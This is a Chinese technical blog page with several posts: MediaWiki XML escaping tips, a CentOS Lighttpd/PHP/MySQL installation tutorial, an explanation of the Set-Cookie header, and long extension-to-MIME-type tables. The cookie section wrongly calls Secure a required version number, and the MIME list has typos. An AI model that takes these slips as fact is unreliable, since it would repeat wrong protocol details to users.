MediaWiki导入XML数据中需要转义的字符

导入XML数据到MediaWiki中的工作我们很早前(2006年)就做过了,也积累了好些经验,不过老是容易忘记,再次处理数据时又需要找资料,这次记录下来。

需要注意的几个地方:

  • xml文件字符集应该是utf-8,文件为unix格式,不要用asc-ii或者gb2312等字符集,也不要用dos格式文件;
  • 尽量避免出现wiki中的链接和模板字符,可以更换成全角符号:
    • [ (可以出现在正文,不能出现在标题) 替换为 [
    • ] (可以出现在正文,不能出现在标题) 替换为 ]
    • { (可以出现在正文,不能出现在标题) 替换为 {
    • } (可以出现在正文,不能出现在标题) 替换为 }
    • | (可以出现在正文,不能出现在标题) 替换为 |
  • 需要做转义的字符,有5个XML中定义的标准:
    • 和符号 & (可以出现在正文,也可出现在标题) 转义为 &
    • 小于号 < (可以出现在正文,不能出现在标题) 转义为 &lt;
    • 大于号 > (可以出现在正文,不能出现在标题) 转义为 &gt;
    • 双引号 ” (可以出现在正文,也可出现在标题) 转义为 &quot;(MeidaWiki中这一个导出进行了转义,导入可不用先转义)
    • 单引号 ‘ (可以出现在正文,也可出现在标题) 转义为 &apos;(MeidaWiki中这一个导出没有转义,导入也不用先转义)
  • 从access或者execl等数据导出文本文件时,分隔符用制表符,以避免与其它字符混淆,便于后期处理。

前段时间准备做一些名录数据的导入操作,但其它事情太忙,后面再逐步安排。

Linux/CentOS安装配置Lighttpd PHP MySQL教程

运行于Linux下的Lighttpd是一个开源Web服务器软件。Lighttpd的最大特点是其“轻量级特征”:仅仅需要相对于Apache等成熟服务器软件小得多的CPU与内存资源即可达到相同的性能。Lighttpd以BSD许可证发布。
根据维基百科lighttpd条目的介绍,lighttpd支持FastCGI与SCGI的负载平衡,支持Linux下chroot安全特征,支持SSL加密连接。Lighttpd虽然小巧,但是却足以满足普通的高性能Web服务请求。本文将以CentOS为例指导安装lighttpd与PHP与MySQL全套组件,基本安装方法参考了howtoforge的《Installing Lighttpd With PHP5 and MySQL Support On CentOS 6.0》一文。
本文虽然很长,但其实质非常简单,请严格按照如下方法操作即可完美安装,安装方法已经过多系统实机验证。

安装配置方法
在进行安装前,请参考《CentOS安装教程》安装好基本的CentOS系统,以保证环境的兼容性与统一性。

1、首先安装MySQL
CentOS中安装MySQL非常简单,直接yum即可:
1
[root@www ~]# yum install mysql mysql-server
安装过程中需要输入“y”以确认。
完成后启动MySQL:
1
[root@www ~]#/etc/init.d/mysqld start
安装完MySQL后,需要立即对MySQL进行基本的安全设置,使用
1
[root@www ~]# mysql_secure_installation
此程序是MySQL的安全设置向导,首先会询问是否设置MySQL的root密码,直接回车表示确认设置。按照提示重新输入一个密码即可。随后会提示:
Remove anonymous users? [Y/n]
Disallow root login remotely? [Y/n]
Remove test database and access to it? [Y/n]
Reload privilege tables now? [Y/n]
等,均直接回车(Y)。
最后使用如下命令使MySQL开机自动启动:
1
[root@www ~]# chkconfig –levels 235 mysqld on
至此,MySQL组件已经安装成功,并且做好了基本的安全设置。下面将开始安装lighttpd组件。

2、安装Lighttpd组件
由于CentOS官方的源中没有Lighttpd包,因此需要手动导入RPMforge源。
请根据自己系统的情况选择如下32/64位、CentOS 5/CentOS 6操作系统的源并安装好:
32位CentOS 5
1
wget http://soft.bootf.com/rpm/rpmforge-release-0.5.2-2.el5.rf.i386.rpm
2

3
rpm -Uhv rpmforge-release-0.5.2-2.el5.rf.i386.rpm
32位CentOS 6
1
wget http://soft.bootf.com/rpm/rpmforge-release-0.5.2-2.el6.rf.i686.rpm
2

3
rpm -Uhv rpmforge-release-0.5.2-2.el6.rf.i686.rpm
64位CentOS 5
1
wget http://soft.bootf.com/rpm/rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm
2

3
rpm -Uhv rpmforge-release-0.5.2-2.el5.rf.x86_64.rpm
64位CentOS 6
1
wget http://soft.bootf.com/rpm/rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm
2

3
rpm -Uhv rpmforge-release-0.5.2-2.el6.rf.x86_64.rpm
然后即可通过yum安装Lighttpd了:
1
[root@www ~]# yum install lighttpd
安装过程将会询问,输入“y”以继续。
启动Lighttpd并设置为开机自动启动:
1
[root@www ~]# /etc/init.d/lighttpd start
2

3
启动 lighttpd:[确定]
4

5
[root@www ~]# chkconfig –levels 235 lighttpd on

如果在启动的时候提示如下错误:
(network.c.203) socket failed: Address family not supported by protocol
则打开 /etc/lighttpd/lighttpd.conf 文件
1
vi /etc/lighttpd/lighttpd.conf
找到server.use-ipv6一行配置节,将enable改为disable,如下:
## Use IPv6?
##
server.use-ipv6 = “disable“
保存后再次执行启动(/etc/init.d/lighttpd start)即可。
此时,访问服务器的IP地址,应该提示一个大大的“404 – Not Found”。表示lighttpd已经正常运行(只是没有默认的文档,因此404错误了)。如下图:

3、安装php5与Lighttpd fastcgi组件
安装php非常方便,直接执行:
1
[root@www ~]# yum install lighttpd-fastcgi php-cli
即可安装成功。

4、配置Lighttpd与PHP5
将Lighttpd配置为fastCGI模式,只需要修改三个配置文件,并且比较简单。
1、打开 /etc/php.ini 文件
1
vi /etc/php.ini
在php.ini文件最后加如下一行语句并保存:
cgi.fix_pathinfo = 1
2、打开 /etc/lighttpd/modules.conf 文件:
1
vi /etc/lighttpd/modules.conf
将 include “conf.d/fastcgi.conf” 一行取消注释并保存,如下图:

3、打开 /etc/lighttpd/conf.d/fastcgi.conf 文件:
1
vi /etc/lighttpd/conf.d/fastcgi.conf
找到 fastcgi.server这一节配置段,并将其全部反注释(使之生效),并修改为如下(注意红色为修改部分):
fastcgi.server = ( “.php” =>
( “php-local” =>
(
“socket” => “/tmp/php-fastcgi-1.socket“,
“bin-path” => “/usr/bin/php-cgi“,
“max-procs” => 1,
“broken-scriptfilename” => “enable”,
)
),
( “php-tcp” =>
(
“host” => “127.0.0.1″,
“port” => 9999,
“check-local” => “disable”,
“broken-scriptfilename” => “enable”,
)
),
( “php-num-procs” =>
(
“socket” => “/tmp/php-fastcgi-2.socket“,
“bin-path” => “/usr/bin/php-cgi“,
“bin-environment” => (
“PHP_FCGI_CHILDREN” => “16″,
“PHP_FCGI_MAX_REQUESTS” => “10000″,
),
“max-procs” => 5,
“broken-scriptfilename” => “enable”,
)
),
)
最后保存即可。
现在可以重启Lighttpd使之生效:
1
[root@www ~]# /etc/init.d/lighttpd restart
2
停止 lighttpd:[确定]
3
启动 lighttpd:[确定]

5、测试PHP5与Lighttpd
由于 /srv/www/lighttpd/ 是其网站根目录,因此执行:
[root@www ~]# echo ‘’ > /srv/www/lighttpd/test.php
然后访问 http://IP/test.php 即可看到PHP Info测试页面:

6、安装PHP5的MySQL支持
1
[root@www ~]# yum install php-mysql php-gd php-imap php-ldap php-odbc php-pear php-xml php-xmlrpc
上述命令已经同时安装好了php的MySQL、GD图形库、IMAP、ODBC、Pear、xml等支持组件。

7、最终测试
重启Lighttpd并刷新 http://IP/test.php 页面,即可找到MySQL模块的支持。
至此,Lighttpd+PHP+MySQL+GD全套组件安装配置完毕。

原文链接:
http://www.bootf.com/499.html

cookie 格式

Cookie由变量名和值组成,类似Javascript变量。其属性里既有标准的Cookie变量,也有用户自己创建的变量,属性中变量是用“变量=值”形式来保存。
根据Netscape公司的规定,Cookie格式如下:

Set-Cookie: NAME=VALUE;Expires=DATE;Path=PATH;Domain=DOMAIN_NAME;SECURE

NAME=VALUE:

这是每一个Cookie均必须有的部分。NAME是该Cookie的名称,VALUE是该Cookie的值。在字符串“NAME=VALUE”中,不含分号、逗号和空格等字符。
Expires=DATE:Expires变量是一个只写变量,它确定了Cookie有效终止日期。该属性值DATE必须以特定的格式来书写:星期 几,DD-MM-YY HH:MM:SS GMT,GMT表示这是格林尼治时间。反之,不以这样的格式来书写,系统将无法识别。该变量可省,如果缺省时,则Cookie的属性值不会保存在用户的硬 盘中,而仅仅保存在内存当中,Cookie文件将随着浏览器的关闭而自动消失。
Domain=DOMAIN-NAME:Domain该变量是 一个只写变量,它确定了哪些Internet域中的Web服务器可读取浏览器所存取的Cookie,即只有来自这个域的页面才可以使用Cookie中的信 息。这项设置是可选的,如果缺省时,设置Cookie的属性值为该Web服务器的域名。
Path=PATH:Path属性定义了Web服务器 上哪些路径下的页面可获取服务器设置的Cookie。一般如果用户输入的URL中的路径部分从第一个字符开始包含Path属性所定义的字符串,浏览器就认 为通过检查。如果Path属性的值为“/”,则Web服务器上所有的WWW资源均可读取该Cookie。同样该项设置是可选的,如果缺省时,则Path的 属性值为Web服务器传给浏览器的资源的路径名。
可以看出我们借助对Domain和Path两个变量的设置,即可有效地控制Cookie文件被访问的范围。
Secure:在Cookie中标记该变量,表明只有当浏览器和Web Server之间的通信协议为加密认证协议时,浏览器才向服务器提交相应的Cookie。当前这种协议只有一种,即为HTTPS。

Cookies以键值的方式记录会话跟踪的内容.服务器利用响应报头Set-Cookie来发送COOKIE信息.在RFC2109中定义的SET-COOKIE响应报头的格式为:
Set-Cookie: Name = Value; Comment = value; Domain = value; Max-Age = value; Path = Value;
Secure; Version = 1 * DIGIT;

Name 是Cookie的名字,Value是它的值.Name=Value属性值对必须首先出现,在此之后的属性-值对可以以任何顺序出现. 在Servlet规范中,用于会话跟踪的cookie的名字必须是JSESSIONID,Comment属性是可选的,因为Cookie可能包含其它有关 用户私有的信息.这个属性允许服务器说明这个Cookie的使用,用户可以检查这个消息,然话决定是否加入或继续会话.Domain属性也是可选的.它用 来指定Cookie在哪一个域中有效.所指定的域必须以点号(.)来开始.Max-Age属性是可选的,用于定义Cookie的生存时间,以秒为单位.如 果超过了这个时间,客户端就应该丢弃这个cookie.如果指定的秒数为0,表示这个cookie应立即被丢弃.Path属性是可选的,用于指定这个 cookie在哪一个URL子集下有效.Secure属性是必需的,它的值是一个十进制数,标识cookie依照的状态管理规范的版本.例如:
set-cookie: uid = zhangsan; Max-Age=3600; Domain=.sun.org; Path=/bbs; Version=1
它 表示一个名为uid,值为zhangsan的cookie.生存时间为3600秒,在sunxin.org域的 bbs路径下有效.在3600秒后,客户端将抛弃这个cookie. 当IE收到上面这个响应报头后,可以选择接受或拒绝这个cookie.如果ID接受了这个cookie,当浏览器下一次发送请求到 http://www.sunxin.org/bbs路径下的资源时,同时也会发送以下的请求报头:
cookie:uid=zhangsan.

ContentType

定义

HTML中的ContentType

Content-Type,内容类型,一般是指网页中存在的Content-Type,用于定义网络文件的类型和网页的编码,决定浏览器将以什么形式、什么编码读取这个文件,这就是经常看到一些Asp网页点击的结果却是下载到的一个文件或一张图片的原因。

ASP中的ContentType

ContentType属性指定响应的 HTTP内容类型。如果未指定 ContentType,默认为TEXT/HTML

编辑本段语法规则

GZIP中的 Content-Type=text/ht*/js/css/php

编辑本段语法

HTML

<meta content=”text/html; charset=gb2312” http-equiv=”Content-Type”/>

ASP

Response.ContentType [= ContentType]
Java Servlet
response.setContentType(String);

编辑本段参数

HTML

content
即为类型,具体参照下文的“ContentType的类型”
charset
决定网页的编码,一般为gb2312UTF-8

ASP

ContentType
描述内容类型的字符串。该字符串通常被格式化为类型/子类型,其中类型是常规内容范畴而子类为特定内容类型。有关支持内容类型的完整列表,请参阅 Web 浏览器文档或当前的 HTTP 规格说明。
示例
下面的示例将内容类型设置为 Channel Definition Format(CDF)。
<% Response.ContentType = “application/x-cdf” %>
下面的示例将 ContentType 属性设置为其他的常见值。
<% Response.ContentType = “text/HTML” %>
<% Response.ContentType = “image/GIF” %>
<% Response.ContentType = “image/JPEG” %>
应用于
Response 对象
关于详细的类型对应参看ContentType的类型。

编辑本段类型

ContentType的
“.*”=”application/octet-stream”
“.001″=”application/x-001”
“.301″=”application/x-301”
“.323″=”text/h323”
“.906″=”application/x-906”
“.907″=”drawing/907”
“.a11″=”application/x-a11”
“.acp”=”audio/x-mei-aac”
“.ai”=”application/postscript”
“.aif”=”audio/aiff”
“.aifc”=”audio/aiff”
“.aiff”=”audio/aiff”
“.anv”=”application/x-anv”
“.asa”=”text/asa”
“.asf”=”video/x-ms-asf”
“.asp”=”text/asp”
“.asx”=”video/x-ms-asf”
“.au”=”audio/basic”
“.avi”=”video/avi”
“.awf”=”application/vnd.adobe.workflow”
“.biz”=”text/xml”
“.bmp”=”application/x-bmp”
“.bot”=”application/x-bot”
“.c4t”=”application/x-c4t”
“.c90″=”application/x-c90”
“.cal”=”application/x-cals”
“.cat”=”application/s-pki.seccat”
“.cdf”=”application/x-netcdf”
“.cdr”=”application/x-cdr”
“.cel”=”application/x-cel”
“.cer”=”application/x-x509-ca-cert”
“.cg4″=”application/x-g4”
“.cgm”=”application/x-cgm”
“.cit”=”application/x-cit”
“.class”=”java/*”
“.cml”=”text/xml”
“.cmp”=”application/x-cmp”
“.cmx”=”application/x-cmx”
“.cot”=”application/x-cot”
“.crl”=”application/pkix-crl”
“.crt”=”application/x-x509-ca-cert”
“.csi”=”application/x-csi”
“.css”=”text/css”
“.cut”=”application/x-cut”
“.dbf”=”application/x-dbf”
“.dbm”=”application/x-dbm”
“.dbx”=”application/x-dbx”
“.dcd”=”text/xml”
“.dcx”=”application/x-dcx”
“.der”=”application/x-x509-ca-cert”
“.dgn”=”application/x-dgn”
“.dib”=”application/x-dib”
“.dll”=”application/x-msdownload”
“.doc”=”application/msword”
“.dot”=”application/msword”
“.drw”=”application/x-drw”
“.dtd”=”text/xml”
“.dwf”=”Model/vnd.dwf”
“.dwf”=”application/x-dwf”
“.dwg”=”application/x-dwg”
“.dxb”=”application/x-dxb”
“.dxf”=”application/x-dxf”
“.edn”=”application/vnd.adobe.edn”
“.emf”=”application/x-emf”
“.eml”=”message/rfc822”
“.ent”=”text/xml”
“.epi”=”application/x-epi”
“.eps”=”application/x-ps”
“.eps”=”application/postscript”
“.etd”=”application/x-ebx”
“.exe”=”application/x-msdownload”
“.fax”=”image/fax”
“.fdf”=”application/vnd.fdf”
“.fif”=”application/fractals”
“.fo”=”text/xml”
“.frm”=”application/x-frm”
“.g4″=”application/x-g4”
“.gbr”=”application/x-gbr”
“.gcd”=”application/x-gcd”
“.gif”=”image/gif”
“.gl2″=”application/x-gl2”
“.gp4″=”application/x-gp4”
“.hgl”=”application/x-hgl”
“.hmr”=”application/x-hmr”
“.hpg”=”application/x-hpgl”
“.hpl”=”application/x-hpl”
“.hqx”=”application/mac-binhex40”
“.hrf”=”application/x-hrf”
“.hta”=”application/hta”
“.htc”=”text/x-component”
“.htm”=”text/html”
“.html”=”text/html”
“.htt”=”text/webviewhtml”
“.htx”=”text/html”
“.icb”=”application/x-icb”
“.ico”=”image/x-icon”
“.ico”=”application/x-ico”
“.iff”=”application/x-iff”
“.ig4″=”application/x-g4”
“.igs”=”application/x-igs”
“.iii”=”application/x-iphone”
“.img”=”application/x-img”
“.ins”=”application/x-internet-signup”
“.isp”=”application/x-internet-signup”
“.IVF”=”video/x-ivf”
“.java”=”java/*”
“.jfif”=”image/jpeg”
“.jpe”=”image/jpeg”
“.jpe”=”application/x-jpe”
“.jpeg”=”image/jpeg”
“.jpg”=”image/jpeg”
“.jpg”=”application/x-jpg”
“.js”=”application/x-javascript”
“.jsp”=”text/html”
“.la1″=”audio/x-liquid-file”
“.lar”=”application/x-laplayer-reg”
“.latex”=”application/x-latex”
“.lavs”=”audio/x-liquid-secure”
“.lbm”=”application/x-lbm”
“.lmsff”=”audio/x-la-lms”
“.ls”=”application/x-javascript”
“.ltr”=”application/x-ltr”
“.m1v”=”video/x-mpeg”
“.m2v”=”video/x-mpeg”
“.m3u”=”audio/mpegurl”
“.m4e”=”video/mpeg4
“.mac”=”application/x-mac”
“.man”=”application/x-troff-man”
“.math”=”text/xml”
“.mdb”=”application/msaccess”
“.mdb”=”application/x-mdb”
“.mfp”=”application/x-shockwave-flash”
“.mht”=”message/rfc822”
“.mhtml”=”message/rfc822”
“.mi”=”application/x-mi”
“.mid”=”audio/mid”
“.midi”=”audio/mid”
“.mil”=”application/x-mil”
“.mml”=”text/xml”
“.mnd”=”audio/x-musicnet-download”
“.mns”=”audio/x-musicnet-stream”
“.mocha”=”application/x-javascript”
“.movie”=”video/x-sgi-movie”
“.mp1″=”audio/mp1”
“.mp2″=”audio/mp2”
“.mp2v”=”video/mpeg”
“.mp3″=”audio/mp3”
“.mp4″=”video/mp4”
“.mpa”=”video/x-mpg”
“.mpd”=”application/-project”
“.mpe”=”video/x-mpeg”
“.mpeg”=”video/mpg”
“.mpg”=”video/mpg”
“.mpga”=”audio/rn-mpeg”
“.mpp”=”application/-project”
“.mps”=”video/x-mpeg”
“.mpt”=”application/-project”
“.mpv”=”video/mpg”
“.mpv2″=”video/mpeg”
“.mpw”=”application/s-project”
“.mpx”=”application/-project”
“.mtx”=”text/xml”
“.mxp”=”application/x-mmxp”
“.net”=”image/pnetvue”
“.nrf”=”application/x-nrf”
“.nws”=”message/rfc822”
“.odc”=”text/x-ms-odc”
“.out”=”application/x-out”
“.p10″=”application/pkcs10”
“.p12″=”application/x-pkcs12”
“.p7b”=”application/x-pkcs7-certificates”
“.p7c”=”application/pkcs7-mime”
“.p7m”=”application/pkcs7-mime”
“.p7r”=”application/x-pkcs7-certreqresp”
“.p7s”=”application/pkcs7-signature”
“.pc5″=”application/x-pc5”
“.pci”=”application/x-pci”
“.pcl”=”application/x-pcl”
“.pcx”=”application/x-pcx”
“.pdf”=”application/pdf”
“.pdx”=”application/vnd.adobe.pdx”
“.pfx”=”application/x-pkcs12”
“.pgl”=”application/x-pgl”
“.pic”=”application/x-pic”
“.pko”=”application-pki.pko”
“.pl”=”application/x-perl”
“.plg”=”text/html”
“.pls”=”audio/scpls”
“.plt”=”application/x-plt”
“.png”=”image/png”
“.png”=”application/x-png”
“.pot”=”applications-powerpoint”
“.ppa”=”application/vs-powerpoint”
“.ppm”=”application/x-ppm”
“.pps”=”application-powerpoint”
“.ppt”=”applications-powerpoint”
“.ppt”=”application/x-ppt”
“.pr”=”application/x-pr”
“.prf”=”application/pics-rules”
“.prn”=”application/x-prn”
“.prt”=”application/x-prt”
“.ps”=”application/x-ps”
“.ps”=”application/postscript”
“.ptn”=”application/x-ptn”
“.pwz”=”application/powerpoint”
“.r3t”=”text/vnd.rn-realtext3d”
“.ra”=”audio/vnd.rn-realaudio”
“.ram”=”audio/x-pn-realaudio”
“.ras”=”application/x-ras”
“.rat”=”application/rat-file”
“.rdf”=”text/xml”
“.rec”=”application/vnd.rn-recording”
“.red”=”application/x-red”
“.rgb”=”application/x-rgb”
“.rjs”=”application/vnd.rn-realsystem-rjs”
“.rjt”=”application/vnd.rn-realsystem-rjt”
“.rlc”=”application/x-rlc”
“.rle”=”application/x-rle”
“.rm”=”application/vnd.rn-realmedia”
“.rmf”=”application/vnd.adobe.rmf”
“.rmi”=”audio/mid”
“.rmj”=”application/vnd.rn-realsystem-rmj”
“.rmm”=”audio/x-pn-realaudio”
“.rmp”=”application/vnd.rn-rn_music_package”
“.rms”=”application/vnd.rn-realmedia-secure”
“.rmvb”=”application/vnd.rn-realmedia-vbr”
“.rmx”=”application/vnd.rn-realsystem-rmx”
“.rnx”=”application/vnd.rn-realplayer”
“.rp”=”image/vnd.rn-realpix”
“.rpm”=”audio/x-pn-realaudio-plugin”
“.rsml”=”application/vnd.rn-rsml”
“.rt”=”text/vnd.rn-realtext”
“.rtf”=”application/msword”
“.rtf”=”application/x-rtf”
“.rv”=”video/vnd.rn-realvideo”
“.sam”=”application/x-sam”
“.sat”=”application/x-sat”
“.sdp”=”application/sdp”
“.sdw”=”application/x-sdw”
“.sit”=”application/x-stuffit”
“.slb”=”application/x-slb”
“.sld”=”application/x-sld”
“.slk”=”drawing/x-slk”
“.smi”=”application/smil”
“.smil”=”application/smil”
“.smk”=”application/x-smk”
“.snd”=”audio/basic”
“.sol”=”text/plain”
“.sor”=”text/plain”
“.spc”=”application/x-pkcs7-certificates”
“.spl”=”application/futuresplash”
“.spp”=”text/xml”
“.ssm”=”application/streamingmedia”
“.sst”=”application-pki.certstore”
“.stl”=”application/-pki.stl”
“.stm”=”text/html”
“.sty”=”application/x-sty”
“.svg”=”text/xml”
“.swf”=”application/x-shockwave-flash”
“.tdf”=”application/x-tdf”
“.tg4″=”application/x-tg4”
“.tga”=”application/x-tga”
“.tif”=”image/tiff”
“.tif”=”application/x-tif”
“.tiff”=”image/tiff”
“.tld”=”text/xml”
“.top”=”drawing/x-top”
“.torrent”=”application/x-bittorrent”
“.tsd”=”text/xml”
“.txt”=”text/plain”
“.uin”=”application/x-icq”
“.uls”=”text/iuls”
“.vcf”=”text/x-vcard”
“.vda”=”application/x-vda”
“.vdx”=”application/vnd.visio”
“.vml”=”text/xml”
“.vpg”=”application/x-vpeg005”
“.vsd”=”application/vnd.visio”
“.vsd”=”application/x-vsd”
“.vss”=”application/vnd.visio”
“.vst”=”application/vnd.visio”
“.vst”=”application/x-vst”
“.vsw”=”application/vnd.visio”
“.vsx”=”application/vnd.visio”
“.vtx”=”application/vnd.visio”
“.vxml”=”text/xml”
“.wav”=”audio/wav”
“.wax”=”audio/x-ms-wax”
“.wb1″=”application/x-wb1”
“.wb2″=”application/x-wb2”
“.wb3″=”application/x-wb3”
“.wbmp”=”image/vnd.wap.wbmp”
“.wiz”=”application/msword”
“.wk3″=”application/x-wk3”
“.wk4″=”application/x-wk4”
“.wkq”=”application/x-wkq”
“.wks”=”application/x-wks”
“.wm”=”video/x-ms-wm”
“.wma”=”audio/x-ms-wma”
“.wmd”=”application/x-ms-wmd”
“.wmf”=”application/x-wmf”
“.wml”=”text/vnd.wap.wml”
“.wmv”=”video/x-ms-wmv”
“.wmx”=”video/x-ms-wmx”
“.wmz”=”application/x-ms-wmz”
“.wp6″=”application/x-wp6”
“.wpd”=”application/x-wpd”
“.wpg”=”application/x-wpg”
“.wpl”=”application/-wpl”
“.wq1″=”application/x-wq1”
“.wr1″=”application/x-wr1”
“.wri”=”application/x-wri”
“.wrk”=”application/x-wrk”
“.ws”=”application/x-ws”
“.ws2″=”application/x-ws”
“.wsc”=”text/scriptlet”
“.wsdl”=”text/xml”
“.wvx”=”video/x-ms-wvx”
“.xdp”=”application/vnd.adobe.xdp”
“.xdr”=”text/xml”
“.xfd”=”application/vnd.adobe.xfd”
“.xfdf”=”application/vnd.adobe.xfdf”
“.xhtml”=”text/html”
“.xls”=”application/-excel”
“.xls”=”application/x-xls”
“.xlw”=”application/x-xlw”
“.xml”=”text/xml”
“.xpl”=”audio/scpls”
“.xq”=”text/xml”
“.xql”=”text/xml”
“.xquery”=”text/xml”
“.xsd”=”text/xml”
“.xsl”=”text/xml”
“.xslt”=”text/xml”
“.xwd”=”application/x-xwd”
“.x_b”=”application/x-x_b”
“.x_t”=”application/x-x_t”
Office2007对应的值:
“application/vnd.openxmlformats-officedocument.wordprocessingml.template” (for .dotx files)
“application/vnd.openxmlformats-officedocument.presentationml.presentation” (for .pptx files)
“application/vnd.openxmlformats-officedocument.presentationml.slideshow” (for .ppsx files)
“application/vnd.openxmlformats-officedocument.presentationml.template” (for .potx files)
“application/vnd.openxmlformats-officedocument.spreadsheetml.sheet” (for .xlsx files)
“application/vnd.openxmlformats-officedocument.spreadsheetml.template” (for .xltx files)
相对于Office2003是这样的
Response.ContentType = “application/vnd。ms-excel”

 

http中的Content-Type

要学习content-type,必须事先知道它到底是什么,是干什么用的。

HTTP协议(RFC2616)采用了请求/响应模型。客户端向服务器发送一个请求,请求头包含请求的方法、URI、协议版本、以及包含请求修饰符、客户 信息和内容的类似于MIME的消息结构。服务器以一个状态行作为响应,相应的内容包括消息协议的版本,成功或者错误编码加上包含服务器信息、实体元信息以 及可能的实体内容。

通常HTTP消息由一个起始行,一个或者多个头域,一个只是头域结束的空行和可选的消息体组成。HTTP的头域包括通用头,请求头,响应头和实体头四个部分。每个头域由一个域名,冒号(:)和域值三部分组成。域名是大小写无关的,域 值前可以添加任何数量的空格符,头域可以被扩展为多行,在每行开始处,使用至少一个空格或制表符。

请求消息和响应消息都可以包含实体信息,实体信息一般由实体头域和实体组成。实体头域包含关于实体的原信息,实体头包括Allow、Content- Base、Content-Encoding、Content-Language、 Content-Length、Content-Location、Content-MD5、Content-Range、Content-Type、 Etag、Expires、Last-Modified、extension-header。
Content-Type是返回消息中非常重要的内容,表示后面的文档属于什么MIME类型。Content-Type: [type]/[subtype]; parameter。例如最常见的就是text/html,它的意思是说返回的内容是文本类型,这个文本又是HTML格式的。原则上浏览器会根据Content-Type来决定如何显示返回的消息体内容。

type有下面的形式。

 

Text:用于标准化地表示的文本信息,文本消息可以是多种字符集和或者多种格式的;

Multipart:用于连接消息体的多个部分构成一个消息,这些部分可以是不同类型的数据;

Application:用于传输应用程序数据或者二进制数据;

Message:用于包装一个E-mail消息;

Image:用于传输静态图片数据;

Audio:用于传输音频或者音声数据;

Video:用于传输动态影像数据,可以是与音频编辑在一起的视频数据格式。

subtype用于指定type的详细形式。content-type/subtype配对的集合和与此相关的参数,将随着时间而增长。为了确保这些值在一个有序而且公开的状态下开发,MIME使用Internet Assigned Numbers Authority (IANA)作为中心的注册机制来管理这些值。

parameter可以用来指定附加的信息,更多情况下是用于指定text/plain和text/htm等的文字编码方式的charset参数。MIME根据type制定了默认的subtype,当客户端不能确定消息的subtype的情况下,消息被看作默认的subtype进行处理。Text默认是text/plain,Application默认是application/octet-stream而Multipart默认情况下被看作multipart/mixed。

MIME定义在RFC-2046 MIME Part 2: Media Types 。

常用类型:

Mime Types By File Extension

 

Extension Type/sub-type
  application/octet-stream
323 text/h323
acx application/internet-property-stream
ai application/postscript
aif audio/x-aiff
aifc audio/x-aiff
aiff audio/x-aiff
asf video/x-ms-asf
asr video/x-ms-asf
asx video/x-ms-asf
au audio/basic
avi video/x-msvideo
axs application/olescript
bas text/plain
bcpio application/x-bcpio
bin application/octet-stream
bmp image/bmp
c text/plain
cat application/vnd.ms-pkiseccat
cdf application/x-cdf
cer application/x-x509-ca-cert
class application/octet-stream
clp application/x-msclip
cmx image/x-cmx
cod image/cis-cod
cpio application/x-cpio
crd application/x-mscardfile
crl application/pkix-crl
crt application/x-x509-ca-cert
csh application/x-csh
css text/css
dcr application/x-director
der application/x-x509-ca-cert
dir application/x-director
dll application/x-msdownload
dms application/octet-stream
doc application/msword
dot application/msword
dvi application/x-dvi
dxr application/x-director
eps application/postscript
etx text/x-setext
evy application/envoy
exe application/octet-stream
fif application/fractals
flr x-world/x-vrml
gif image/gif
gtar application/x-gtar
gz application/x-gzip
h text/plain
hdf application/x-hdf
hlp application/winhlp
hqx application/mac-binhex40
hta application/hta
htc text/x-component
htm text/html
html text/html
htt text/webviewhtml
ico image/x-icon
ief image/ief
iii application/x-iphone
ins application/x-internet-signup
isp application/x-internet-signup
jfif image/pipeg
jpe image/jpeg
jpeg image/jpeg
jpg image/jpeg
js application/x-javascript
latex application/x-latex
lha application/octet-stream
lsf video/x-la-asf
lsx video/x-la-asf
lzh application/octet-stream
m13 application/x-msmediaview
m14 application/x-msmediaview
m3u audio/x-mpegurl
man application/x-troff-man
mdb application/x-msaccess
me application/x-troff-me
mht message/rfc822
mhtml message/rfc822
mid audio/mid
mny application/x-msmoney
mov video/quicktime
movie video/x-sgi-movie
mp2 video/mpeg
mp3 audio/mpeg
mpa video/mpeg
mpe video/mpeg
mpeg video/mpeg
mpg video/mpeg
mpp application/vnd.ms-project
mpv2 video/mpeg
ms application/x-troff-ms
mvb application/x-msmediaview
nws message/rfc822
oda application/oda
p10 application/pkcs10
p12 application/x-pkcs12
p7b application/x-pkcs7-certificates
p7c application/x-pkcs7-mime
p7m application/x-pkcs7-mime
p7r application/x-pkcs7-certreqresp
p7s application/x-pkcs7-signature
pbm image/x-portable-bitmap
pdf application/pdf
pfx application/x-pkcs12
pgm image/x-portable-graymap
pko application/ynd.ms-pkipko
pma application/x-perfmon
pmc application/x-perfmon
pml application/x-perfmon
pmr application/x-perfmon
pmw application/x-perfmon
pnm image/x-portable-anymap
pot, application/vnd.ms-powerpoint
ppm image/x-portable-pixmap
pps application/vnd.ms-powerpoint
ppt application/vnd.ms-powerpoint
prf application/pics-rules
ps application/postscript
pub application/x-mspublisher
qt video/quicktime
ra audio/x-pn-realaudio
ram audio/x-pn-realaudio
ras image/x-cmu-raster
rgb image/x-rgb
rmi audio/mid
roff application/x-troff
rtf application/rtf
rtx text/richtext
scd application/x-msschedule
sct text/scriptlet
setpay application/set-payment-initiation
setreg application/set-registration-initiation
sh application/x-sh
shar application/x-shar
sit application/x-stuffit
snd audio/basic
spc application/x-pkcs7-certificates
spl application/futuresplash
src application/x-wais-source
sst application/vnd.ms-pkicertstore
stl application/vnd.ms-pkistl
stm text/html
svg image/svg+xml
sv4cpio application/x-sv4cpio
sv4crc application/x-sv4crc
swf application/x-shockwave-flash
t application/x-troff
tar application/x-tar
tcl application/x-tcl
tex application/x-tex
texi application/x-texinfo
texinfo application/x-texinfo
tgz application/x-compressed
tif image/tiff
tiff image/tiff
tr application/x-troff
trm application/x-msterminal
tsv text/tab-separated-values
txt text/plain
uls text/iuls
ustar application/x-ustar
vcf text/x-vcard
vrml x-world/x-vrml
wav audio/x-wav
wcm application/vnd.ms-works
wdb application/vnd.ms-works
wks application/vnd.ms-works
wmf application/x-msmetafile
wps application/vnd.ms-works
wri application/x-mswrite
wrl x-world/x-vrml
wrz x-world/x-vrml
xaf x-world/x-vrml
xbm image/x-xbitmap
xla application/vnd.ms-excel
xlc application/vnd.ms-excel
xlm application/vnd.ms-excel
xls application/vnd.ms-excel
xlt application/vnd.ms-excel
xlw application/vnd.ms-excel
xof x-world/x-vrml
xpm image/x-xpixmap
xwd image/x-xwindowdump
z application/x-compress
zip application/zip

 
对于IE6浏览器来说,如果Content-Type中的类型和实际的消息体类型不一致,那么它会根据内容中的类型来分析实际应该是什么类型,对于JPG、GIF等常用图片格式都可以正确的识别出来,而不管Content-Type中写的是什么。
